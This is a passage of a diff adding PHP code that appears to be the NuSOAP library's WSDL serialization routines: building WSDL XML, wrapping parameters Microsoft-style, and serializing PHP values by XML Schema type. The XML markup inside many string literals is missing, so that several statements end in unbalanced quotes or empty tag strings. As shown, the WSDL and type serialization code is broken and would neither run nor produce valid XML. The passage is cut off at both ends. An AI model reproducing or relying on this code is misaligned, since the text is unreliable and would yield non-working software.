+ if(is_array($msgParts)){ + foreach($msgParts as $partName => $partType) { + // print 'serializing '.$partType.', sv: '.$this->XMLSchemaVersion.'
        '; + if (strpos($partType, ':')) { + $typePrefix = $this->getPrefixFromNamespace($this->getPrefix($partType)); + } elseif (isset($this->typemap[$this->namespaces['xsd']][$partType])) { + // print 'checking typemap: '.$this->XMLSchemaVersion.'
        '; + $typePrefix = 'xsd'; + } else { + foreach($this->typemap as $ns => $types) { + if (isset($types[$partType])) { + $typePrefix = $this->getPrefixFromNamespace($ns); + } + } + if (!isset($typePrefix)) { + die("$partType has no namespace!"); + } + } + $ns = $this->getNamespaceFromPrefix($typePrefix); + $localPart = $this->getLocalPart($partType); + $typeDef = $this->getTypeDef($localPart, $ns); + if ($typeDef['typeClass'] == 'element') { + $elementortype = 'element'; + if (substr($localPart, -1) == '^') { + $localPart = substr($localPart, 0, -1); + } + } else { + $elementortype = 'type'; + } + $xml .= "\n" . ' '; + } + } + $xml .= '
        '; + } + } + // bindings & porttypes + if (count($this->bindings) >= 1) { + $binding_xml = ''; + $portType_xml = ''; + foreach($this->bindings as $bindingName => $attrs) { + $binding_xml .= "\n'; + $binding_xml .= "\n" . ' '; + $portType_xml .= "\n'; + foreach($attrs['operations'] as $opName => $opParts) { + $binding_xml .= "\n" . ' '; + $binding_xml .= "\n" . ' '; + if (isset($opParts['input']['encodingStyle']) && $opParts['input']['encodingStyle'] != '') { + $enc_style = ' encodingStyle="' . $opParts['input']['encodingStyle'] . '"'; + } else { + $enc_style = ''; + } + $binding_xml .= "\n" . ' '; + if (isset($opParts['output']['encodingStyle']) && $opParts['output']['encodingStyle'] != '') { + $enc_style = ' encodingStyle="' . $opParts['output']['encodingStyle'] . '"'; + } else { + $enc_style = ''; + } + $binding_xml .= "\n" . ' '; + $binding_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' ' . htmlspecialchars($opParts['documentation']) . ''; + } + $portType_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' '; + } + $portType_xml .= "\n" . ''; + $binding_xml .= "\n" . ''; + } + $xml .= $portType_xml . $binding_xml; + } + // services + $xml .= "\nserviceName . '">'; + if (count($this->ports) >= 1) { + foreach($this->ports as $pName => $attrs) { + $xml .= "\n" . ' '; + $xml .= "\n" . ' '; + $xml .= "\n" . ' '; + } + } + $xml .= "\n" . ''; + return $xml . "\n"; + } + + /** + * determine whether a set of parameters are unwrapped + * when they are expect to be wrapped, Microsoft-style. + * + * @param string $type the type (element name) of the wrapper + * @param array $parameters the parameter values for the SOAP call + * @return boolean whether they parameters are unwrapped (and should be wrapped) + * @access private + */ + function parametersMatchWrapped($type, &$parameters) { + $this->debug("in parametersMatchWrapped type=$type, parameters="); + $this->appendDebug($this->varDump($parameters)); + + // split type into namespace:unqualified-type + if (strpos($type, ':')) { + $uqType = substr($type, strrpos($type, ':') + 1); + $ns = substr($type, 0, strrpos($type, ':')); + $this->debug("in parametersMatchWrapped: got a prefixed type: $uqType, $ns"); + if ($this->getNamespaceFromPrefix($ns)) { + $ns = $this->getNamespaceFromPrefix($ns); + $this->debug("in parametersMatchWrapped: expanded prefixed type: $uqType, $ns"); + } + } else { + // TODO: should the type be compared to types in XSD, and the namespace + // set to XSD if the type matches? + $this->debug("in parametersMatchWrapped: No namespace for type $type"); + $ns = ''; + $uqType = $type; + } + + // get the type information + if (!$typeDef = $this->getTypeDef($uqType, $ns)) { + $this->debug("in parametersMatchWrapped: $type ($uqType) is not a supported type."); + return false; + } + $this->debug("in parametersMatchWrapped: found typeDef="); + $this->appendDebug($this->varDump($typeDef)); + if (substr($uqType, -1) == '^') { + $uqType = substr($uqType, 0, -1); + } + $phpType = $typeDef['phpType']; + $arrayType = (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : ''); + $this->debug("in parametersMatchWrapped: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: $arrayType"); + + // we expect a complexType or element of complexType + if ($phpType != 'struct') { + $this->debug("in parametersMatchWrapped: not a struct"); + return false; + } + + // see whether the parameter names match the elements + if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { + $elements = 0; + $matches = 0; + foreach ($typeDef['elements'] as $name => $attrs) { + if (isset($parameters[$name])) { + $this->debug("in parametersMatchWrapped: have parameter named $name"); + $matches++; + } else { + $this->debug("in parametersMatchWrapped: do not have parameter named $name"); + } + $elements++; + } + + $this->debug("in parametersMatchWrapped: $matches parameter names match $elements wrapped parameter names"); + if ($matches == 0) { + return false; + } + return true; + } + + // since there are no elements for the type, if the user passed no + // parameters, the parameters match wrapped. + $this->debug("in parametersMatchWrapped: no elements type $ns:$uqType"); + return count($parameters) == 0; + } + + /** + * serialize PHP values according to a WSDL message definition + * contrary to the method name, this is not limited to RPC + * + * TODO + * - multi-ref serialization + * - validate PHP values against type definitions, return errors if invalid + * + * @param string $operation operation name + * @param string $direction (input|output) + * @param mixed $parameters parameter value(s) + * @param string $bindingType (soap|soap12) + * @return mixed parameters serialized as XML or false on error (e.g. operation not found) + * @access public + */ + function serializeRPCParameters($operation, $direction, $parameters, $bindingType = 'soap') { + $this->debug("in serializeRPCParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion, bindingType=$bindingType"); + $this->appendDebug('parameters=' . $this->varDump($parameters)); + + if ($direction != 'input' && $direction != 'output') { + $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); + $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); + return false; + } + if (!$opData = $this->getOperationData($operation, $bindingType)) { + $this->debug('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); + $this->setError('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); + return false; + } + $this->debug('in serializeRPCParameters: opData:'); + $this->appendDebug($this->varDump($opData)); + + // Get encoding style for output and set to current + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { + $encodingStyle = $opData['output']['encodingStyle']; + $enc_style = $encodingStyle; + } + + // set input params + $xml = ''; + if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { + $parts = &$opData[$direction]['parts']; + $part_count = sizeof($parts); + $style = $opData['style']; + $use = $opData[$direction]['use']; + $this->debug("have $part_count part(s) to serialize using $style/$use"); + if (is_array($parameters)) { + $parametersArrayType = $this->isArraySimpleOrStruct($parameters); + $parameter_count = count($parameters); + $this->debug("have $parameter_count parameter(s) provided as $parametersArrayType to serialize"); + // check for Microsoft-style wrapped parameters + if ($style == 'document' && $use == 'literal' && $part_count == 1 && isset($parts['parameters'])) { + $this->debug('check whether the caller has wrapped the parameters'); + if ($direction == 'output' && $parametersArrayType == 'arraySimple' && $parameter_count == 1) { + // TODO: consider checking here for double-wrapping, when + // service function wraps, then NuSOAP wraps again + $this->debug("change simple array to associative with 'parameters' element"); + $parameters['parameters'] = $parameters[0]; + unset($parameters[0]); + } + if (($parametersArrayType == 'arrayStruct' || $parameter_count == 0) && !isset($parameters['parameters'])) { + $this->debug('check whether caller\'s parameters match the wrapped ones'); + if ($this->parametersMatchWrapped($parts['parameters'], $parameters)) { + $this->debug('wrap the parameters for the caller'); + $parameters = array('parameters' => $parameters); + $parameter_count = 1; + } + } + } + foreach ($parts as $name => $type) { + $this->debug("serializing part $name of type $type"); + // Track encoding style + if (isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { + $encodingStyle = $opData[$direction]['encodingStyle']; + $enc_style = $encodingStyle; + } else { + $enc_style = false; + } + // NOTE: add error handling here + // if serializeType returns false, then catch global error and fault + if ($parametersArrayType == 'arraySimple') { + $p = array_shift($parameters); + $this->debug('calling serializeType w/indexed param'); + $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); + } elseif (isset($parameters[$name])) { + $this->debug('calling serializeType w/named param'); + $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); + } else { + // TODO: only send nillable + $this->debug('calling serializeType w/null param'); + $xml .= $this->serializeType($name, $type, null, $use, $enc_style); + } + } + } else { + $this->debug('no parameters passed.'); + } + } + $this->debug("serializeRPCParameters returning: $xml"); + return $xml; + } + + /** + * serialize a PHP value according to a WSDL message definition + * + * TODO + * - multi-ref serialization + * - validate PHP values against type definitions, return errors if invalid + * + * @param string $operation operation name + * @param string $direction (input|output) + * @param mixed $parameters parameter value(s) + * @return mixed parameters serialized as XML or false on error (e.g. operation not found) + * @access public + * @deprecated + */ + function serializeParameters($operation, $direction, $parameters) + { + $this->debug("in serializeParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion"); + $this->appendDebug('parameters=' . $this->varDump($parameters)); + + if ($direction != 'input' && $direction != 'output') { + $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); + $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); + return false; + } + if (!$opData = $this->getOperationData($operation)) { + $this->debug('Unable to retrieve WSDL data for operation: ' . $operation); + $this->setError('Unable to retrieve WSDL data for operation: ' . $operation); + return false; + } + $this->debug('opData:'); + $this->appendDebug($this->varDump($opData)); + + // Get encoding style for output and set to current + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { + $encodingStyle = $opData['output']['encodingStyle']; + $enc_style = $encodingStyle; + } + + // set input params + $xml = ''; + if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { + + $use = $opData[$direction]['use']; + $this->debug("use=$use"); + $this->debug('got ' . count($opData[$direction]['parts']) . ' part(s)'); + if (is_array($parameters)) { + $parametersArrayType = $this->isArraySimpleOrStruct($parameters); + $this->debug('have ' . $parametersArrayType . ' parameters'); + foreach($opData[$direction]['parts'] as $name => $type) { + $this->debug('serializing part "'.$name.'" of type "'.$type.'"'); + // Track encoding style + if(isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { + $encodingStyle = $opData[$direction]['encodingStyle']; + $enc_style = $encodingStyle; + } else { + $enc_style = false; + } + // NOTE: add error handling here + // if serializeType returns false, then catch global error and fault + if ($parametersArrayType == 'arraySimple') { + $p = array_shift($parameters); + $this->debug('calling serializeType w/indexed param'); + $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); + } elseif (isset($parameters[$name])) { + $this->debug('calling serializeType w/named param'); + $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); + } else { + // TODO: only send nillable + $this->debug('calling serializeType w/null param'); + $xml .= $this->serializeType($name, $type, null, $use, $enc_style); + } + } + } else { + $this->debug('no parameters passed.'); + } + } + $this->debug("serializeParameters returning: $xml"); + return $xml; + } + + /** + * serializes a PHP value according a given type definition + * + * @param string $name name of value (part or element) + * @param string $type XML schema type of value (type or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $use use for part (encoded|literal) + * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) + * @param boolean $unqualified a kludge for what should be XML namespace form handling + * @return string value serialized as an XML string + * @access private + */ + function serializeType($name, $type, $value, $use='encoded', $encodingStyle=false, $unqualified=false) + { + $this->debug("in serializeType: name=$name, type=$type, use=$use, encodingStyle=$encodingStyle, unqualified=" . ($unqualified ? "unqualified" : "qualified")); + $this->appendDebug("value=" . $this->varDump($value)); + if($use == 'encoded' && $encodingStyle) { + $encodingStyle = ' SOAP-ENV:encodingStyle="' . $encodingStyle . '"'; + } + + // if a soapval has been supplied, let its type override the WSDL + if (is_object($value) && get_class($value) == 'soapval') { + if ($value->type_ns) { + $type = $value->type_ns . ':' . $value->type; + $forceType = true; + $this->debug("in serializeType: soapval overrides type to $type"); + } elseif ($value->type) { + $type = $value->type; + $forceType = true; + $this->debug("in serializeType: soapval overrides type to $type"); + } else { + $forceType = false; + $this->debug("in serializeType: soapval does not override type"); + } + $attrs = $value->attributes; + $value = $value->value; + $this->debug("in serializeType: soapval overrides value to $value"); + if ($attrs) { + if (!is_array($value)) { + $value['!'] = $value; + } + foreach ($attrs as $n => $v) { + $value['!' . $n] = $v; + } + $this->debug("in serializeType: soapval provides attributes"); + } + } else { + $forceType = false; + } + + $xml = ''; + if (strpos($type, ':')) { + $uqType = substr($type, strrpos($type, ':') + 1); + $ns = substr($type, 0, strrpos($type, ':')); + $this->debug("in serializeType: got a prefixed type: $uqType, $ns"); + if ($this->getNamespaceFromPrefix($ns)) { + $ns = $this->getNamespaceFromPrefix($ns); + $this->debug("in serializeType: expanded prefixed type: $uqType, $ns"); + } + + if($ns == $this->XMLSchemaVersion || $ns == 'http://schemas.xmlsoap.org/soap/encoding/'){ + $this->debug('in serializeType: type namespace indicates XML Schema or SOAP Encoding type'); + if ($unqualified && $use == 'literal') { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$elementNS/>"; + } else { + // TODO: depends on nillable, which should be checked before calling this method + $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if ($uqType == 'Array') { + // JBoss/Axis does this sometimes + return $this->serialize_val($value, $name, false, false, false, false, $use); + } + if ($uqType == 'boolean') { + if ((is_string($value) && $value == 'false') || (! $value)) { + $value = 'false'; + } else { + $value = 'true'; + } + } + if ($uqType == 'string' && gettype($value) == 'string') { + $value = $this->expandEntities($value); + } + if (($uqType == 'long' || $uqType == 'unsignedLong') && gettype($value) == 'double') { + $value = sprintf("%.0lf", $value); + } + // it's a scalar + // TODO: what about null/nil values? + // check type isn't a custom type extending xmlschema namespace + if (!$this->getTypeDef($uqType, $ns)) { + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; + } else { + $xml = "<$name$elementNS>$value"; + } + } else { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + $this->debug('custom type extends XML Schema or SOAP Encoding namespace (yuck)'); + } else if ($ns == 'http://xml.apache.org/xml-soap') { + $this->debug('in serializeType: appears to be Apache SOAP type'); + if ($uqType == 'Map') { + $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); + if (! $tt_prefix) { + $this->debug('in serializeType: Add namespace for Apache SOAP type'); + $tt_prefix = 'ns' . rand(1000, 9999); + $this->namespaces[$tt_prefix] = 'http://xml.apache.org/xml-soap'; + // force this to be added to usedNamespaces + $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); + } + $contents = ''; + foreach($value as $k => $v) { + $this->debug("serializing map element: key $k, value $v"); + $contents .= ''; + $contents .= $this->serialize_val($k,'key',false,false,false,false,$use); + $contents .= $this->serialize_val($v,'value',false,false,false,false,$use); + $contents .= ''; + } + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\">$contents"; + } else { + $xml = "<$name>$contents"; + } + } else { + $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\"$encodingStyle>$contents"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + $this->debug('in serializeType: Apache SOAP type, but only support Map'); + } + } else { + // TODO: should the type be compared to types in XSD, and the namespace + // set to XSD if the type matches? + $this->debug("in serializeType: No namespace for type $type"); + $ns = ''; + $uqType = $type; + } + if(!$typeDef = $this->getTypeDef($uqType, $ns)){ + $this->setError("$type ($uqType) is not a supported type."); + $this->debug("in serializeType: $type ($uqType) is not a supported type."); + return false; + } else { + $this->debug("in serializeType: found typeDef"); + $this->appendDebug('typeDef=' . $this->varDump($typeDef)); + if (substr($uqType, -1) == '^') { + $uqType = substr($uqType, 0, -1); + } + } + if (!isset($typeDef['phpType'])) { + $this->setError("$type ($uqType) has no phpType."); + $this->debug("in serializeType: $type ($uqType) has no phpType."); + return false; + } + $phpType = $typeDef['phpType']; + $this->debug("in serializeType: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: " . (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : '') ); + // if php type == struct, map value to the element names + if ($phpType == 'struct') { + if (isset($typeDef['typeClass']) && $typeDef['typeClass'] == 'element') { + $elementName = $uqType; + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + $elementNS = " xmlns=\"\""; + } + } else { + $elementName = $name; + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs and nillable + $xml = "<$elementName$elementNS/>"; + } else { + $xml = "<$elementName$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if (is_object($value)) { + $value = get_object_vars($value); + } + if (is_array($value)) { + $elementAttrs = $this->serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType); + if ($use == 'literal') { + if ($forceType) { + $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">"; + } else { + $xml = "<$elementName$elementNS$elementAttrs>"; + } + } else { + $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>"; + } + + if (isset($typeDef['simpleContent']) && $typeDef['simpleContent'] == 'true') { + if (isset($value['!'])) { + $xml .= $value['!']; + $this->debug("in serializeType: serialized simpleContent for type $type"); + } else { + $this->debug("in serializeType: no simpleContent to serialize for type $type"); + } + } else { + // complexContent + $xml .= $this->serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use, $encodingStyle); + } + $xml .= ""; + } else { + $this->debug("in serializeType: phpType is struct, but value is not an array"); + $this->setError("phpType is struct, but value is not an array: see debug output for details"); + $xml = ''; + } + } elseif ($phpType == 'array') { + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$elementNS/>"; + } else { + $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . + ":Array\" " . + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . + ':arrayType="' . + $this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) . + ':' . + $this->getLocalPart($typeDef['arrayType'])."[0]\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if (isset($typeDef['multidimensional'])) { + $nv = array(); + foreach($value as $v) { + $cols = ',' . sizeof($v); + $nv = array_merge($nv, $v); + } + $value = $nv; + } else { + $cols = ''; + } + if (is_array($value) && sizeof($value) >= 1) { + $rows = sizeof($value); + $contents = ''; + foreach($value as $k => $v) { + $this->debug("serializing array element: $k, $v of type: $typeDef[arrayType]"); + //if (strpos($typeDef['arrayType'], ':') ) { + if (!in_array($typeDef['arrayType'],$this->typemap['http://www.w3.org/2001/XMLSchema'])) { + $contents .= $this->serializeType('item', $typeDef['arrayType'], $v, $use); + } else { + $contents .= $this->serialize_val($v, 'item', $typeDef['arrayType'], null, $this->XMLSchemaVersion, false, $use); + } + } + } else { + $rows = 0; + $contents = null; + } + // TODO: for now, an empty value will be serialized as a zero element + // array. Revisit this when coding the handling of null/nil values. + if ($use == 'literal') { + $xml = "<$name$elementNS>" + .$contents + .""; + } else { + $xml = "<$name$elementNS xsi:type=\"".$this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/').':Array" '. + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') + .':arrayType="' + .$this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) + .":".$this->getLocalPart($typeDef['arrayType'])."[$rows$cols]\">" + .$contents + .""; + } + } elseif ($phpType == 'scalar') { + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; + } else { + $xml = "<$name$elementNS>$value"; + } + } else { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; + } + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + + /** + * serializes the attributes for a complexType + * + * @param array $typeDef our internal representation of an XML schema type (or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $ns the namespace of the type + * @param string $uqType the local part of the type + * @return string value serialized as an XML string + * @access private + */ + function serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType) { + $this->debug("serializeComplexTypeAttributes for XML Schema type $ns:$uqType"); + $xml = ''; + if (isset($typeDef['extensionBase'])) { + $nsx = $this->getPrefix($typeDef['extensionBase']); + $uqTypex = $this->getLocalPart($typeDef['extensionBase']); + if ($this->getNamespaceFromPrefix($nsx)) { + $nsx = $this->getNamespaceFromPrefix($nsx); + } + if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { + $this->debug("serialize attributes for extension base $nsx:$uqTypex"); + $xml .= $this->serializeComplexTypeAttributes($typeDefx, $value, $nsx, $uqTypex); + } else { + $this->debug("extension base $nsx:$uqTypex is not a supported type"); + } + } + if (isset($typeDef['attrs']) && is_array($typeDef['attrs'])) { + $this->debug("serialize attributes for XML Schema type $ns:$uqType"); + if (is_array($value)) { + $xvalue = $value; + } elseif (is_object($value)) { + $xvalue = get_object_vars($value); + } else { + $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); + $xvalue = array(); + } + foreach ($typeDef['attrs'] as $aName => $attrs) { + if (isset($xvalue['!' . $aName])) { + $xname = '!' . $aName; + $this->debug("value provided for attribute $aName with key $xname"); + } elseif (isset($xvalue[$aName])) { + $xname = $aName; + $this->debug("value provided for attribute $aName with key $xname"); + } elseif (isset($attrs['default'])) { + $xname = '!' . $aName; + $xvalue[$xname] = $attrs['default']; + $this->debug('use default value of ' . $xvalue[$aName] . ' for attribute ' . $aName); + } else { + $xname = ''; + $this->debug("no value provided for attribute $aName"); + } + if ($xname) { + $xml .= " $aName=\"" . $this->expandEntities($xvalue[$xname]) . "\""; + } + } + } else { + $this->debug("no attributes to serialize for XML Schema type $ns:$uqType"); + } + return $xml; + } + + /** + * serializes the elements for a complexType + * + * @param array $typeDef our internal representation of an XML schema type (or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $ns the namespace of the type + * @param string $uqType the local part of the type + * @param string $use use for part (encoded|literal) + * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) + * @return string value serialized as an XML string + * @access private + */ + function serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use='encoded', $encodingStyle=false) { + $this->debug("in serializeComplexTypeElements for XML Schema type $ns:$uqType"); + $xml = ''; + if (isset($typeDef['extensionBase'])) { + $nsx = $this->getPrefix($typeDef['extensionBase']); + $uqTypex = $this->getLocalPart($typeDef['extensionBase']); + if ($this->getNamespaceFromPrefix($nsx)) { + $nsx = $this->getNamespaceFromPrefix($nsx); + } + if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { + $this->debug("serialize elements for extension base $nsx:$uqTypex"); + $xml .= $this->serializeComplexTypeElements($typeDefx, $value, $nsx, $uqTypex, $use, $encodingStyle); + } else { + $this->debug("extension base $nsx:$uqTypex is not a supported type"); + } + } + if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { + $this->debug("in serializeComplexTypeElements, serialize elements for XML Schema type $ns:$uqType"); + if (is_array($value)) { + $xvalue = $value; + } elseif (is_object($value)) { + $xvalue = get_object_vars($value); + } else { + $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); + $xvalue = array(); + } + // toggle whether all elements are present - ideally should validate against schema + if (count($typeDef['elements']) != count($xvalue)){ + $optionals = true; + } + foreach ($typeDef['elements'] as $eName => $attrs) { + if (!isset($xvalue[$eName])) { + if (isset($attrs['default'])) { + $xvalue[$eName] = $attrs['default']; + $this->debug('use default value of ' . $xvalue[$eName] . ' for element ' . $eName); + } + } + // if user took advantage of a minOccurs=0, then only serialize named parameters + if (isset($optionals) + && (!isset($xvalue[$eName])) + && ( (!isset($attrs['nillable'])) || $attrs['nillable'] != 'true') + ){ + if (isset($attrs['minOccurs']) && $attrs['minOccurs'] <> '0') { + $this->debug("apparent error: no value provided for element $eName with minOccurs=" . $attrs['minOccurs']); + } + // do nothing + $this->debug("no value provided for complexType element $eName and element is not nillable, so serialize nothing"); + } else { + // get value + if (isset($xvalue[$eName])) { + $v = $xvalue[$eName]; + } else { + $v = null; + } + if (isset($attrs['form'])) { + $unqualified = ($attrs['form'] == 'unqualified'); + } else { + $unqualified = false; + } + if (isset($attrs['maxOccurs']) && ($attrs['maxOccurs'] == 'unbounded' || $attrs['maxOccurs'] > 1) && isset($v) && is_array($v) && $this->isArraySimpleOrStruct($v) == 'arraySimple') { + $vv = $v; + foreach ($vv as $k => $v) { + if (isset($attrs['type']) || isset($attrs['ref'])) { + // serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } else { + // serialize generic type (can this ever really happen?) + $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); + $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); + } + } + } else { + if (is_null($v) && isset($attrs['minOccurs']) && $attrs['minOccurs'] == '0') { + // do nothing + } elseif (is_null($v) && isset($attrs['nillable']) && $attrs['nillable'] == 'true') { + // TODO: serialize a nil correctly, but for now serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } elseif (isset($attrs['type']) || isset($attrs['ref'])) { + // serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } else { + // serialize generic type (can this ever really happen?) + $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); + $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); + } + } + } + } + } else { + $this->debug("no elements to serialize for XML Schema type $ns:$uqType"); + } + return $xml; + } + + /** + * adds an XML Schema complex type to the WSDL types + * + * @param string $name + * @param string $typeClass (complexType|simpleType|attribute) + * @param string $phpType currently supported are array and struct (php assoc array) + * @param string $compositor (all|sequence|choice) + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param array $elements e.g. array ( name => array(name=>'',type=>'') ) + * @param array $attrs e.g. array(array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'xsd:string[]')) + * @param string $arrayType as namespace:name (xsd:string) + * @see nusoap_xmlschema + * @access public + */ + function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType='') { + if (count($elements) > 0) { + $eElements = array(); + foreach($elements as $n => $e){ + // expand each element + $ee = array(); + foreach ($e as $k => $v) { + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $ee[$k] = $v; + } + $eElements[$n] = $ee; + } + $elements = $eElements; + } + + if (count($attrs) > 0) { + foreach($attrs as $n => $a){ + // expand each attribute + foreach ($a as $k => $v) { + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $aa[$k] = $v; + } + $eAttrs[$n] = $aa; + } + $attrs = $eAttrs; + } + + $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; + $arrayType = strpos($arrayType,':') ? $this->expandQname($arrayType) : $arrayType; + + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addComplexType($name,$typeClass,$phpType,$compositor,$restrictionBase,$elements,$attrs,$arrayType); + } + + /** + * adds an XML Schema simple type to the WSDL types + * + * @param string $name + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param string $typeClass (should always be simpleType) + * @param string $phpType (should always be scalar) + * @param array $enumeration array of values + * @see nusoap_xmlschema + * @access public + */ + function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { + $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; + + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addSimpleType($name, $restrictionBase, $typeClass, $phpType, $enumeration); + } + + /** + * adds an element to the WSDL types + * + * @param array $attrs attributes that must include name and type + * @see nusoap_xmlschema + * @access public + */ + function addElement($attrs) { + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addElement($attrs); + } + + /** + * register an operation with the server + * + * @param string $name operation (method) name + * @param array $in assoc array of input values: key = param name, value = param type + * @param array $out assoc array of output values: key = param name, value = param type + * @param string $namespace optional The namespace for the operation + * 